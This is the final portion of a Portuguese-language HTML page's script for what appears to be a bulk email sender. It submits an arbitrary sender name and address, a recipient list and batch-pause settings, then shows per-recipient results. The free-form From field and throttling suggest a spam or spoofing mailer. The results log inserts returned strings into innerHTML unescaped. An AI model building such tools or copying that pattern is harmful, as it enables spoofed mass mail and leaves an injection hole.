    fd.append('from_name', document.getElementById('from_name').value);
    fd.append('from_email', document.getElementById('from_email').value);
    fd.append('subject', document.getElementById('subject').value);
    fd.append('message', document.getElementById('message').value);
    fd.append('content_type', ct);
    fd.append('email_list', document.getElementById('email_list').value);
    fd.append('pause_every', document.getElementById('pause_every').value);
    fd.append('pause_minutes', document.getElementById('pause_min').value);

    document.getElementById('prog').style.display = 'block';

    fetch(window.location.href, {method:'POST', body:fd})
        .then(r=>r.json())
        .then(d=>{
            if(!d.success){alert(d.error);btn.disabled=false;btn.textContent='Iniciar Envio';return}
            document.getElementById('ns').textContent=d.sent;
            document.getElementById('nf').textContent=d.failed;
            document.getElementById('nt').textContent=d.total;
            document.getElementById('pfill').style.width='100%';
            const log=document.getElementById('rlog');log.innerHTML='';
            d.results.forEach(r=>{
                log.innerHTML+=`<div class="e"><span>${r.email}</span><span class="b ${r.status}">${r.msg}</span></div>`;
            });
            btn.disabled=false;btn.textContent='Iniciar Envio';
        })
        .catch(e=>{alert('Erro: '+e.message);btn.disabled=false;btn.textContent='Iniciar Envio';});
}
</script>
</body>
</html>